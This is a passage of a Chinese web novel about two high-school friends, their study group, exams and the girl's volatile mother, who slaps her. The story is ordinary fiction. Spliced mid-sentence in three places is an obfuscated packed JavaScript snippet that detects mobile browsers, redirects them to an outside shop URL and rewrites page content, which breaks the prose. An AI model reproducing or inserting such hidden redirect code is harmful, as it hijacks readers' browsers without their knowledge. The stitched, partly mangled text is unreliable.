何茜华了然地笑了笑,像是突然在顾彧面前又找回了作为母亲的“排面”似的:“我还能不知道你吗?从小就跟窈窈黏在一块玩,有时窈窈不理你你还伤心,你奶奶去世那会,我和你爸怎么劝你哄你都没用,周窈过来说两句话你就好了。这次也是,好好的火箭班不上,非要去周窈她们班,你知道你们史老师在电话里问我什么吗?” “什么?” “她问我你是不是对火箭班有什么阴影,是不是之前读书压力太大。” 说着,何茜华笑出了声来,顾彧也跟着低头笑了一声。 但很快,何茜华收起了笑意,知子莫若母,她一针见血地戳穿了顾彧的内心:“我知道,你跟窈窈在一起会比较自在,但是小彧,你也不能这么一直依赖人家吧?未来总有一天,你们要各奔东西,过自己的人生。而且初中三年你们也没在一个学校,不是也挺好?” 是吗? 顾彧怔了一下,随即开始回忆自己的初中生活,却发现他什么都想不起来,除了每天上课做题考试然后等待成绩,别的就什么都没有了,每天都是一个人上学放学,也不怎么跟人说话,更别提跟同学一起出去玩了。 这样算好吗? 何茜华看着陷入沉思的儿子叹了口气,她知道童年父母关爱的缺 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入夜,那些换管道的施工工人都走了,何茜华在隔壁房间压低了声音打工作电话,外面偶有路人经过,发出些许声响。 秋风带着寒意吹进窗户,未开灯的房间里,顾彧就这么干坐在书桌前,电脑屏幕上的蓝光映着他的脸庞,忽明忽暗。 世界并未静止,但独独他的世界静默得可怕。 “滴滴!滴滴!”挂在桌面上的企鹅响了几声,对话框弹了出来。 GA军团的群里,也不知道是谁起的话头,开始纷纷“慰问”起顾彧来,也不管他这个当事人在不在线。 【蒋蒋蒋蒋:突闻@顾^^彧噩耗,十分揪心,但问顾神出院了否?】 【代代:什么鬼?这词是这么用的吗?】 【代代:@顾^^彧还好吗?】 【谭欣:@顾^^彧早日康复。[花]】 【孟初之:@顾^^彧早日康复。[花]】 【李是李铭轩的理:@顾^^彧有空?上线?】 【蒋蒋蒋蒋:艹了,人家是病人!而且提醒一句,葛朗台·周还在群里呢。】 【李是李铭轩的理:我作业早都做完了,课文也背了,刚下的网课,小周老师刚检查完,你当谁都跟你似的?[白眼]】 【蒋蒋蒋蒋:兄弟,这就没意思了啊,说得好像谁没做作业似的。@不是葛朗台是世界首富周老师,放心来查!】 【谭欣:周窈怎么不上线啊?听说是她把顾彧救出来的,她没事吧?】 【蒋蒋蒋蒋:!!!这你都知道!不愧是你啊小班长!@不是葛朗台是世界首富NB啊阿周,那以后你岂不就是顾神的救命恩人了?!我去……好好好,我已经开始幻想婚礼现场了!打脸环节是不是该邀请一下于奥琪和荣子涵?】 【不是葛朗台是世界首富:收!闭嘴!】 【蒋蒋蒋蒋:——哔——】 【不是葛朗台是世界首富:@顾^^彧明天去不去学校?】 僵直的背影终于动了动,抬手回了几个字。 【顾^^彧:去。】 【不是葛朗台是世界首富:[图片][图片][图片][图片][图片]】 【不是葛朗台是世界首富:化学小组作业,就差你了,快点做完发过来。】 【蒋蒋蒋蒋:不是阿周你是不是有病啊!人家顾神还是个病号!】 【不是葛朗台是世界首富:那你做?】 【蒋蒋蒋蒋:我什么都没说……】 【不是葛朗台是世界首富:@顾^^彧别装死,八点前给我,晚一秒钟你都死定了!】 “啪!” 台灯被打开的瞬间,刚才还死气沉沉的房间突然间像是活了过来。 屏幕上字符跳动了几下—— 【顾^^彧:好的女王大人,知道了女王大人。^^】 47. 母女 顾彧煤气中毒这事没几天就传遍了整个年级段,等他回来上课的时候,就见自己课桌上堆满了各种“慰问品”,慰问信、巧克力、牛奶、辣条,甚至还有一罐西洋参和一个平安福。 纵然是从小就颇受优待的顾彧,见到这阵仗也不免一愣。 蒋煜还煞有介事地给顾彧搞了个盛大的欢迎仪式,用不知道从哪捡来的茅草把他全身拍打一遍。 “去去晦气!把霉运都扫光!” 顾彧望着那一束不明来历的“茅草”,张了好几次嘴,还是没能说出一个字,任由他对自己拍拍打打。 代薇子笑他:“这草不会是你从学校花坛里随手摘来的吧?” “瞎说!”蒋煜瞪眼:“你可以质疑我的考试分数,但不能质疑我这把艾草!” 李铭轩皱着眉头:“又不是端午节,外面哪有艾草卖?” “切。”蒋煜得意地扬了扬头:“我一个哥哥开盲人按摩店的,他那里艾草多得是。” “那么多哥哥,你家超生游击队啊?” “去你的!”蒋煜不理,扭头专心为顾彧“除尘”:“中午再去食堂打一份麻婆豆腐,给你彻底去去晦气!” 正趴在顾彧桌上扒拉零食的周窈闻言,不解地问道:“豆腐不是出狱吃的吗?” 蒋煜彻底毛了:“豆腐寓意‘多福’!出狱能吃!出院也能吃!你们到底懂不懂啊!” 边上还老老实实站着任由蒋煜摆弄的顾彧见他们吵闹的样子,突然低头就笑了出来。 如果去了海市,这一切就都要消失了…… 想到这,他刚刚才扬起来的嘴角,又绷了起来。 周窈很快就发现了顾彧情绪不对,事实上,她今天一整天眼神几乎都黏在顾彧身上。自从发现自己对顾彧情感的萌芽之后,她一方面告诫自己不能荒废学业,但另一方面,又无法克制不去想他,看他,自然也能轻易地感知到他的情绪。 毕竟他们认识太久了,顾彧一个眼神她都知道对方在想什么。 不过她没有急于求证,只和平时一样说话相处。 因为这次住院耽搁了几天,今天补习时需要顾彧解答的问题是往常的三倍之多,一个半小时根本不够用,但学校不允许学生放学后在校内逗留这么久,几人只能转战校外的奶茶店,继续答疑。 结束时天已经完全黑了,急着回家吃饭的GA成员们不出三分钟就跑没影了,只剩下周窈和顾彧还留在原地。 周窈仔细收好今天的补习资料,抬头就看见顾彧站在奶茶店门口打电话。 应该是和他妈妈,隐约听到他说“马上就回来”“跟同学讨论题目耽误了”之类的。 和何茜华报备完之后,顾彧折回店里拿他的书包,一回头就发现周窈在盯着他看。 “怎么了?干嘛看我?” “没事。”周窈摇摇头,伸手将他的书包递给他:“走吧,很晚了。” 而顾彧却没动,甚至伸手拦住了她的去路。 “有话要跟我说?” 周窈能看出来顾彧有心事,顾彧自然也能看出她来。 想了想,周窈还是选择直截了当地发问:“看你今天情绪不怎么好,想问问你怎么了。” 不知该如何作答的顾彧喉头滚了滚,但并不打算对周窈说实话:“没什么,就是……突然有点害怕……” 换谁在鬼门关里走了一遭,多少都是会后怕的吧。 周窈不疑有他,想着自己应该说些什么安慰下顾彧,但她又不是那种会安慰人的人,挤了半天也只说出一句:“大难不死必有后福嘛,没事的,别多想。” “嗯。”顾彧也知道她不擅长说一些软话,便佯装有被安慰到,背上书包准备回家。 然而抬头却对上周窈亮闪闪的眸子,小小奶茶店里的吊顶灯映照在她眼瞳中,缩成了一个小小的光圈。 鬼使神差的,他脱口而出:“如果我不在了怎么办?” 乍听之下,周窈心中一凛,随即朝着边上大声“呸”了三声:“你再说这种话,我真的要去问蒋煜拿艾草了!” 顾彧失笑,摸了摸周窈的头:“对不起,我不说了,那个艾草的味道,我闻得都要吐了,你可别再拿来熏我了。” 扎着单马尾的少女这才满意,背上她酒红色的书包率先走出了店门,那把马尾垂在脑后,随着她的步伐一荡一荡的。 【你也不能这么一直依赖人家吧?未来总有一天,你们要各奔东西,过自己的人生。】 妈妈的话在脑海里一遍遍回荡,顾彧翻来覆去颠来倒去地想,也没想明白,为什么他就不能一辈子赖着周窈呢?世界上再也找不到像周条条这样对他好的人了。 “还傻愣着干嘛啊!”周窈取了车,却没见他跟上来,眉头又皱了起来。她皱眉的时候,嘴巴也会习惯性地跟着使劲,像嘟嘴似的,有点可爱。 顾彧拎着书包站在门口看了一会,怕她真的生气,才又追上去。 川流人群中,一前一后两辆自行车穿梭着行进,微凉的风擦过他们的手臂、脸颊和发丝,却不觉得冷,只觉得畅快。 等红绿灯的间隙,少女回头说了句什么话,但边上汽车声音太响,还没听清尾音就消散了。 “你听见没啊?” “什么?没听清。” “我说,你回去先做数学卷子,做完我们对一遍。” “可是数学卷子我已经做完了呀……” “你!我不是跟你说了让你等等我!哎,算了,我快点做完咱们再对吧。” 明明没什么特别的对话,但跟周窈说过话后,顾彧胸口的闷气都少了许多。 其实,只要周窈不嫌烦,他赖着人家又有什么关系呢? / 周窈一路上都骑得很快,倒也不是有什么急事,她就是想快点回家把那张数学卷子做了。最近这两周,看似她在给李铭轩他们补课,但实际上顾彧也抽空给她讲了不少题,查漏补缺了很多之前没搞懂的部分,所以她急着想把今天这张卷子按考试时长做一遍,看自己进步了多少。 刚进小区,远远就看见她们家厨房那扇窗亮着灯。 周窈心里一惊,差点没扶住车把。 “小心,怎么了?” “没……”周窈慌张停下车:“我忘了我妈今天调班了……” 然而顾彧却注意到,她锁车的时候手都在微微发抖,像是很着急的样子。 “阿姨,没事吧?” “没事。”周窈故作镇定,但飘忽的眼神还是出卖了她心底的慌张:“她没事,就是我忘记跟她说今天会晚点回家,她找不到我会着急。”说着,都顾不上和顾彧道别,就冲回了家去。 原本顾彧想在她家窗户外多待一会,怕她出事,却没想到何茜华正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573886|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好出来取快递。 “小彧,回来了怎么不进来?愣在那干嘛呢?” “哦。”顾彧又往周窈家方向看了一眼,确定没什么怪异声响,这才停车回了家。 昏暗楼道,周窈狠狠跺了几下脚,才弄亮了声控灯。 钥匙还没插进插孔,门就从里面弹开了,露出陈娟颓靡的脸,她头发乱蓬蓬的,眼睛微肿应是哭过,脸上还有未干的泪痕,整个人散发着说不出的病态。 周窈立即道歉:“对不起啊妈妈,我忘了你今天调班,放学后跟同学讨论作业,回来晚了……”说着,她抬眼看了一下陈娟的脸色。 陈娟看上去情绪并不稳定,胸口还在大幅度上下起伏着,她抹了把脸,语气尖酸:“你怎么不死在外面算了!” “对不起……”周窈低声道歉,却发现陈娟的手还在抖。 陈娟也知道自己情绪不对,她抹了把脸,深吸了两口气,然后将门口的位置让了出来:“快进来吧,菜都凉了。” “哦……” 换了鞋进了屋,便看见桌上放着的两盘菜,原来应该是有三盘的,但很明显,厨房的地上躺着第三盘菜的“尸体”。 自己回来之前,陈娟应该是在收拾,地上有擦拭过的痕迹。 “我来吧。”周窈拿起抹布,边收拾边问:“上次医生开的药你怎么不吃?” “吃了一整天都没精神,还怎么干活了。” 有了她帮忙,陈娟便坐到了沙发上,一手把着扶手看周窈忙碌。 等缓和了气息,她才又恢复到平常的语气:“跟你说过多少次,如果晚回家要跟妈妈说一声,总是不记得!我回来看见你不在,总要多想!” 周窈小心地将碎了的盘子碎片一片片捡起:“我知道了,以后不会了。你也不要太紧张,现在我哪里也不会去,等以后我出去读书,也会带着你的。” 屋内沉默片刻,随即就听陈娟不屑地“切”了一声。 “等你?那我怕是坟头都要长草了。” 周窈没做声,将捡起的盘子碎片用旧报纸裹好,再轻轻放进垃圾桶里,做完这一切之后,她不声不响地回了房间。 沙发上的陈娟算是彻底缓过来了,看着桌子上已经冷了饭菜问她:“晚饭吃不吃了?” “不了,我着急做卷子。” 外面又是一阵叮叮乓乓的声音,陈娟将菜放进了冰箱:“家里的饭不吃,谁知道在外面偷偷吃了什么东西,天天学学学,也没见考个什么高分回来,人家小彧光奖学金都不知道攒了多少万了,你呢?还天天伸手问家里要钱。靠你养我,我看要等到下辈子了。” 桌前,周窈望着自己刚抽出来的数学卷子,突然感觉一阵无力,提不起一点精神。 有时候,周窈觉得陈娟才是她人生中最难解的那道题。 陈娟精明,却被周建民骗得团团转,她不相信自己的女儿,但如果她找不到自己,又会急得大吼大叫像是疯了,她一面打压她,觉得她的一切都不值得,却比任何人都依赖她。 她有时甚至搞不清,陈娟到底是爱她,还是嫌弃她。 房间外,陈娟还在因为周窈不吃晚饭而碎碎念叨。 周窈听着那些贬低她的词汇,心烦意乱地塞上耳塞,将自己全身心地投入到学习中去。 哪怕陈娟再不相信她,但对她来说,也只有考大学这一条出路了。 48. 庆功宴 这天晚上的事周窈没跟顾彧说,当然他也没问,两人依旧如常地上课、补习、放学。没过两天,何茜华也回海市了,而期中考试也如期到来。 考场里,蒋煜利用最后一点时间还在疯狂地背公式,昨天晚上的补课时间,周窈给他们从头到尾又划了一遍考点,专门应付这次的考试,叮嘱他们务必背熟,蒋煜自然知道其中的含金量,熬夜背到凌晨两点才睡下,李铭轩更狠,只睡了四个小时,生动诠释了什么叫“拼了”。 预备铃响起,所有人收起资料,监考老师拆开装有试卷的密封袋。 蒋煜摸出一支笔端端正正地插在他用橡皮做的底座上,然后用手指对着这支笔“跪拜”三次。 边上恰巧分到同一考场的同班同学看着他奇怪的举动问道:“你干嘛呢?拜文曲星?” “屁!”蒋煜压低了声音,十分小心地摸着那支看起来朴实无华的“孔庙祈福”:“这可是我跟顾神求来的,求顾神附体不比求文曲星管用?” 对面闻言立即竖起大拇指:“牛逼牛逼。” 而隔壁考场,周窈收到试卷后先从头到尾看了一遍,发现基础题都在自己划的考点范围之内后,便松了口气,自顾自做起题来。 很快,为期两天的期中考试就结束了,出考场的瞬间,就收到蒋煜发在GA群里的消息。 【蒋蒋蒋蒋:庆功宴走起啊朋友们!我请我请!我哥给了我两张代金券!】 【李是李铭轩的理:你哥还缺弟弟吗?】 【代代:或者妹妹?】 【蒋蒋蒋蒋:滚滚滚,我哥有我这一个小宝贝就够了!去不去啊给句话!】 【代代:你请客干嘛不去。】 【李是李铭轩的理:+1】 【谭欣:我也去!】 【孟初之:我给家里打个电话先……】 【蒋蒋蒋蒋:两位大佬怎么说?顾神?周姐?】 【顾^^彧:@不是葛朗台是世界首富】 周窈看着群里的信息想了想,今天陈娟晚班,晚上不回来,她在外面多玩一会倒也没事。 【不是葛朗台是世界首富:行。】 【顾^^彧:+1】 【蒋蒋蒋蒋:嘿,你们俩这妇唱夫随的。】 【不是葛朗台是世界首富:闭嘴。】 【蒋蒋蒋蒋:嗻——】 【顾^^彧:[脸红]】 【蒋蒋蒋蒋:你脸红个泡泡茶壶?】 【顾^^彧:-0-】 等所有人集合,蒋煜带着大家到了一家还挺火的披萨店,点了两个披萨和各种小食。 餐上齐了,蒋煜率先举杯:“来,预祝咱们GA小分队都能取得好成绩!尤其感谢两位老师,你们辛苦了!” 周窈忙着吃东西,也腾不出手,顾彧就替她拿着杯子碰了一下,七只杯子碰在一起,发出清脆的“叮叮”声。 “还没问呢,你们考得怎么样啊?考前你这大话可是放得够狠的啊。”代薇子问道。 蒋煜大手一挥:“就凭我奋战到了最后一秒,这次怎么着也轮不到我垫底了!” 李铭轩也说:“基础题比较顺,后面的大题还是有些困难,估计拿不了多少分。”但对于他来说,基础题不丢分就已经很难得了,起码能及格。 代薇子又问了一圈,谭欣和孟初之也说感觉不错,便放下心来。 顾彧看了一眼低头吃得跟小仓鼠似的周窈:“你呢?考得怎么样?” 周窈艰难地咽下嘴里的食物:“数学最后一道大题我之前刷到过,但当时没来得及问你,没想到真的考到了,倒霉,不过我尝试着做了,就是那个答案看起来不太对,估计也只能得个步骤分。” 听这话,顾彧有些担忧,生怕她没考好,但随即又听她说道:“但其他都挺顺的,这次数学应该能上一百四吧……” 边上代薇子松了口气:“你怎么说话大喘气呢,吓死了,别因为给我们辅导,你自己折进去了……” “那不能够。”周窈舔了舔手指,顾彧立即递上纸巾。“赔本买卖我可不做。要是因为你们我自己分数下滑,那我不得怄死!这钱不赚也罢。” “噗——”代薇子笑出声来:“你还真是葛朗台。” 对面蒋煜突然再次举杯:“啥也不说了,都是过命的交情。” 说完,几只杯子再次碰撞到一起。 豪迈地将杯中的饮料一饮而尽,蒋煜突然一脸认真地对周窈说道:“这次真的让我重新认识你了,我就知道阿周只是看着冷,其实内在是火热的,是烫的!见不得我被人瞧不起!拽着我带我进步!是不是阿周!?” 周窈拿起一块披萨,咬了一口含糊不清:“不,我是商人。” “瞎说!”蒋煜煞有介事地摇了摇头:“什么葛朗台,那都是开玩笑的,难道你还差我这三十块钱吗?” “我真的差。”周窈回答得干脆了当。 边上代薇子她们发出低低的笑声。 差点被整不会了的蒋煜:“那,那我这辈子也是阿周的人了!” 刚端起杯子的顾彧手一顿,挑眉向蒋煜望去:“谁的人?” “呃——”蒋煜挠挠头:“是,是你们俩的人,行了吧!” 顾彧这才满意地“嗯”了一声,继续喝饮料。 边上李铭轩看完了全程,冷不丁发问:“怎么,你们俩在一起了?绑得这么紧。” “咳咳!”周窈被呛得咳了起来,眼神躲闪生怕让人看出自己心虚,而边上的顾彧倒是一派大方地揽过她:“怎么了,她不是在追我吗?我给点回应怎么了?”说完扭头看了周窈一眼。 小姑娘耳尖都红了,但依旧装作恼怒地甩开他搭在自己肩上的手:“都说了是谣言,有完没完了。” “啊,周条条你好渣啊,敢撩不敢认。” “谁撩你了?” “不是你吗?又壁咚我,又为我跟人打PK……” “有完没完了?” “渣女……” “顾!彧!” 半个月高强度的学习,今天终于考完能放松一下了,一顿饭又吃又玩拖到了八点多才散。 离开前女孩子们去洗手间,几个男生就坐在原位等她们。 顾彧掏出手机查看了下消息,只有一条是来自何茜华的,问他考完了没。 回复完消息,抬头就看见蒋煜愣愣地望着自己。 “怎么了?” “没。”蒋煜撑着脸摇摇头,“吃得太多有点发懵。”紧接着他又问:“有没有觉得葛朗台·周活泼了很多?” 边上李铭轩也在低头看手机,闻言头都没抬:“她不是一直这样吗?” “谁说的。”蒋煜靠向椅背,一副陷入回忆的模样:“以前她冷冷的,根本不理人。问她题目要收费的,更别提跟我们一起出来玩了。你知道我对她印象最深的是什么吗?” “什么?”顾彧问。 “高一刚入学那会,体育课我们在踢球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那我比你早下车一点,我家在二院边上。” 边上小伙伴已经掏出手机开始叫车,顾彧低头看了一眼周窈:“带伞没?” 周窈探出门去看了一眼外面:“带是带了,但是我就一把伞,而且我打伞不敢骑车……”想了想最近自己补课也赚了点钱,而且这里离幸福花园也不远,估计也就是个起步价出头,跟顾彧AA了也没多少。 “要不我们也打车回去吧。”说着,就拉开书包去掏手机。 边上代薇子她们陆续打到了车,过来跟他们道别:“我们先走了啊,周一学校见。” “学校见。”周窈乖巧地挥了挥手,低头一看手机却突然到抽一口凉气。 手机通知栏里,满满当当的都是陈娟的未接来电,起码有几十通之多,一看时间,距离第一通电话已经过去快三个小时了。 完了。 周窈大脑“轰”得一下直接宕机,也不管边上的顾彧,拽起书包推开门就往外跑。 边上还在等车的蒋煜见她一脸焦急便觉事情不对:“哎阿周你干嘛去啊,外面下雨呢!出什么事了?!”说着也要往外追,却被顾彧伸手拦了一下。 “没事,她好像是家里有点急事,我去追她,你先回家。” “哦哦,那你们小心啊!” 49. 挨打 周窈冲进雨里,想给自己的自行车开锁,然而她的手不可抑制地颤抖着,钥匙怎么都无法插入钥匙孔。 耳边风声和雨声交叠着,可她却只听到自己砰砰的心跳,像是要从胸口跳出来似的。 “怎么了?出什么事了?”顾彧从后面追出来,拉开外套将周窈裹进去,一边掏出手机按了几下:“别着急,我叫车了。” “不行的,来不及!”周窈反手推他,硬要将自己的车钥匙塞给他:“你帮我打开,我自己骑回去比较快,快点!” “下这么大雨你怎么自己骑回去啊?”顾彧没听她的,伸手拽过她一直攥在手里的车钥匙就塞进了自己口袋。“好了,车一会就来,等一下。”说完,又拉了下自己的外套,确保周窈没淋到雨。 此时周窈的大脑一片混沌,脸上一片湿意,早已分不清是雨水还是泪水。 顾彧的手在她背上一下一下轻拍着,她把头埋在他的怀里,闻着熟悉的洗衣液的清香,像是抱住了一块浮木,心里虽然依旧着急,但好歹不像刚才那么失控了。 顾彧没骗她,叫的车很快就来了。 伸手护着周窈的头将她塞进车里:“师傅,幸福花园,赶时间,能不能稍微快点?”说完,他又轻抚了下周窈的肩,安慰道:“没事了,很快到家了。” “嗯……”周窈应了一声,听起来却像小声呜咽。 顾彧从没见她这么失态过,但眼下显然也不是问她原由的时候,只看着她一遍遍给陈娟打电话却没有人接,皱紧了眉头。 外面虽然下雨,但路况倒也还好,毕竟舟市只是个十八线小城市,作息习惯朝九晚五,晚上八点多早就过了高峰期了,车流并不拥挤。不过十多分钟,车就稳稳地停在幸福花园大门口。 顾彧还在付款,周窈就开了另一边的车门直接下车往家方向跑去。 “周窈!”顾彧也追了上去,而前面的周窈踏着积水跑得头也不回,顾彧一路紧追,竟然被她甩在了后面。 等到她了家门口,就听见重重的“啪”得一声,陈娟就在他面前,打了周窈一巴掌。 这一巴掌很重,周窈甚至被打得往边上晃了一下,差点没站稳。 来不及惊讶,顾彧一把拉过周窈将她护在身后。 “陈阿姨,有话好好……” 话未说完他已然愣住了。 敞开着大门的房间里,此时早已一片狼藉,东西被扔得到处都是,沙发上的垫子和盖毯也被拽了下来,碗碟的碎片散落在各个角落。 而陈娟还在摔,像是疯了似的。 顾彧张了张嘴,一句话都说不出来,他想着要不要让周窈去自己家里躲躲,身后的周窈却轻轻推了他一下。 “你先回去。”她似乎已经平静了下来,声音平稳没有起伏,显得死气沉沉。 “那你呢?” “我没事,你先回去吧。” 顾彧不肯走,伸手想要查看周窈被打的地方,却被她扭头避开了。 “你先回去吧。”她又说了一遍。 顾彧看了她一会,知道她确实是不想自己留下,所以即便非常不放心,也只能先走。 他轻轻抚了一下周窈被打的那半边脸:“有事给我打电话,我今天晚上手机不静音。” 周窈垂着头不看他:“嗯,快走吧。”说完,她自己进了家门。 “砰”的一声,大门关上了。 顾彧站在外面又等了几分钟,听见里面陈娟摔东西的声音渐渐停歇下来之后,才转身往自家方向走去。 房间里,周窈就站在门口,看着陈娟发疯似的又砸又摔不发一言,等她渐渐平静下来了,才换了鞋进去,一点点开始收拾房间里的一地狼藉,而陈娟就坐在沙发上,看着她忙碌,寂若死灰。直到家里基本都收拾好了,她才似大梦初醒般,进厨房煮了碗小馄饨。 “过来吃饭吧。” 周窈刚拖完地,扭头看了一眼放在桌上的那碗小馄饨——碗沿磕了个豁口,也不知是哪次摔的了。 陈娟就是这样,每次发完疯,就会像没事人一样,搞个台阶给自己下,折磨自己也折磨身边人,可让她吃药又不肯。 若是以往,周窈吃了馄饨这件事就翻篇了,包括脸上那一巴掌,但她今天真的吃不下了,倒不是因为在外面吃过饭的缘故,而是想到这一幕被顾彧看了个干干净净,胸口就堵得像吞了块大石头,加上刚才着急狂奔,现在胃都还在抽搐,隐隐的痛。 “我不吃了。” 周窈不吃,陈娟就自己坐在桌边吃了起来,一只只小馄饨像是机械般的往嘴里塞。 “哼,在外面又偷偷吃过了是吧,要不是我今天临时换了班,还不知道你平时背着我都过什么潇洒日子呢。” “没有。”周窈搓完抹布,有些无力地靠在水池边:“今天我们期中考试最后一天,因为考得还不错,就跟大家去庆祝了一下。”说完,她又补了一句:“我不知道你今天跟人家换班,手机放在书包里没看到你给我打电话。” 但陈娟却不买账,她三两口吃完了小馄饨,将碗“啪”得往桌上一放:“我看你啊,就是迫不及待想甩开我,甩开这个家自己跑了。” “我没有。”周窈无奈:“而且就算我哪一天考上大学要到外地去,我肯定带上你一起。” 陈娟不信:“算了吧,你还会想着我?别以为我不知道,你天天就觉得爹妈拖累你是不是,也不知道我怎么生了你这么个白眼狼,真是白养你了。你小时候发烧你爸还抱着你去医院,给你骑在脖子上当大马,你现在呢?却巴不得你爸死,我要是你爸我也不回来……” 被打过一巴掌的脸颊还在火辣辣的疼,而陈娟的话又像是匕首直插周窈的胸口。 纵然她也知道自己妈妈拎不清是常态,被周建民骗得五迷三道也是常态,让让她一只耳朵进一只耳朵出也就罢了,但今天不知道为什么,她胸口那股气,就是怎么都顺不下去,那些荒谬的指责一直在她脑海里盘旋,一遍遍刺痛她敏感的神经。 “你宁愿相信我会离家出走,都不相信周建民才是真的永远都不会回来了?!就算你把所有事都怪到我头上,他才是真正抛弃你的那个人!他就是骗你离婚,骗你背债,让后自己在外面过逍遥日子!他就是抛妻弃子的人渣!杂碎!死不足惜!” “啪!” 又一记耳光打在她另一边的脸上,力道大得差点将周窈掀翻在地。 她捂着脸踉跄几步扶着墙站稳,心想着这两巴掌打得倒是对称,左边一个右边一个,但即便脸上火辣辣的疼,心里却非常畅快,那些积压在心底的怨气、怒气瞬间爆发。 想着干脆将“真相”吐个干净,可当她眼角余光却扫到陈娟脚踝上凸出的静脉曲张和似乎怎么都好不了的淤青时,已经涌到嘴边的话,突然就说不下去了。 扫了一眼墙上还未撤下的全家福,周窈转身回房。 关上房门,房间里一片漆黑,而门外隐隐传来陈娟压抑的哭声。 摸了摸滚烫又刺痛的脸颊,周窈无声苦笑。 这种日子到底什么时候才能结束啊…… 一整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590111|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚,周窈就静静地躺在床上发呆,门外响动一直没停,陈娟不知道在干什么,窸窸窣窣的,等到十点多才完全没了声响,应该是睡觉去了。周窈记得她明天是白班,早上六点就得到医院。 可这么努力工作努力学习,她们依旧看不到明天不是吗? 还不清的债务,追不上的成绩,久不到来的高考,和不知道在哪里的学费。 想到这,周窈突然觉得四面八方的黑暗突然朝自己涌来,这间狭小房间的墙壁上,似是伸出了无数只的手,要将她拉入深渊。 空气逐渐稀薄,呼吸越来越急促,脑袋里全是糟糕的画面的。 “嗡嗡——嗡嗡——” 周窈一个激灵,像是一只溺水的鱼瘫在那大口呼吸。 手机还在震,她拿起来一看,是顾彧。 他好像总能抓住一些时机,将她从黑暗里拉出来。 定了定神,周窈接通电话。 “怎么这么久才接?睡了?”男生好听的声音透过听筒传过来,尾音轻轻上挑,温柔似水。 周窈摸了下发热的耳廓,换了一边接电话:“没睡……” 对面沉默了一下。 “能不能出来?” “现在?” 电话那头又轻轻“嗯”了一声。 周窈坐起身朝窗户看去,却扫到坐在窗前的那只蓝胖子,眯着眼咧着嘴笑得没心没肺,而它身后,窗外深沉的夜色里染上了一抹橘色的路灯光。 枯竭的心间有股暖流淌过。 想了想,自己好像确实欠了顾彧一个交代,于是她回复道:“那你等我一下。” 轻手轻脚打开门,陈娟的卧室门已经关上了,客厅里一片漆黑,她就这么摸着黑来到门口,经过穿衣镜时特地弄散了自己的头发,想遮住被打得红肿的脸颊。 刚推开一楼的大铁门,就看见顾彧手插兜站在路灯下面,他应该是刚洗完澡,穿着水蓝色的睡衣,未干的头发垂下来遮住了额头,被橘黄的路灯光照着,显得格外柔和。 见她出来,顾彧快步上前,拖鞋在夜色里发出“踢踏”声响。 “脸怎么样?”他小心地撩开周窈故意弄乱的头发,“嘶——”瞬间倒抽一口凉气:“怎么这边也挨了一巴掌?!疼不疼?都肿了!” 说着,他从口袋里掏出两包冰袋,小心地往周窈脸上贴去。 这么冰,也不知道他怎么在口袋里揣了这么久的。 但不得不说,冰袋贴在脸上的瞬间,那种火辣辣的疼顿时减轻了不少。 “还好我拿了两个,你妈怎么又打你了?” 周窈也没想到自己的“伪装”竟然连三秒钟都没撑到就被顾彧发现了,现下也有点破罐子破摔,她不自主往顾彧身边站了站,像是为自己找到了一面可以短暂倚靠的墙,想把心中的那些苦闷全部倒出来。 “怪我自己,说了刺激她的话……都是周建民,自从他走了以后,我妈精神上就有些不稳定,医生说可能是焦虑症,不过也没确诊,她嫌看病太贵……反正就是,只要我没跟她报备就不见了,或是电话不接,她就会失控。今天是比较严重的,因为我三个多小时都没接她电话……” 顾彧消化了一下:“你妈是怕你离开她?” “可能吧……”周窈点了点头,低垂着眼眸望着自己的脚尖,喃喃道:“什么时候才高考啊,这个破地方我真是一刻都不想多待了……” 温热的手掌抚过她的头顶,轻轻揉了两下。 “马上,再等一等,你想要的,都会有的。” 50. 分数公布 期中考试之后就是连着两天双休,周窈心情不佳,便待在家里哪都没去,也少见的没催着李铭轩补课,李铭轩美滋滋拉蒋煜和顾彧上线玩游戏,一边在群里吹牛聊天。 【李是李铭轩的理:@顾^^彧来不来游戏?蒋煜这货带不动。】 【蒋蒋蒋蒋:带不动?我飞给你看信不信?】 【蒋蒋蒋蒋:@不是葛朗台是世界首富你那天那么着急回去,家里没事吧?】 【不是葛朗台是世界首富:没事,想起来家里窗户没关。】 【蒋蒋蒋蒋:嗐,我看你那着急样,还以为你家着火了呢。】 【蒋蒋蒋蒋:我跟我爸妈说我这次考得很顺利,他们还不信,切,小瞧我,等我一鸣惊人,惊掉他们下巴!】 【代代:哟,这就吹上啦?】 【蒋蒋蒋蒋:大胆!竟敢质疑葛朗台·周的补习效果!】 周窈刚放下手机,突然又震了起来。 【顾^^彧:脸好点没?】 周窈望着镜子里还些微泛红的脸回复:“好多了。” 【顾^^彧:我下单了一支药膏,一会送到你家,你收一下。】 【不是葛朗台是世界首富:好。】 发完又补:“谢谢。” 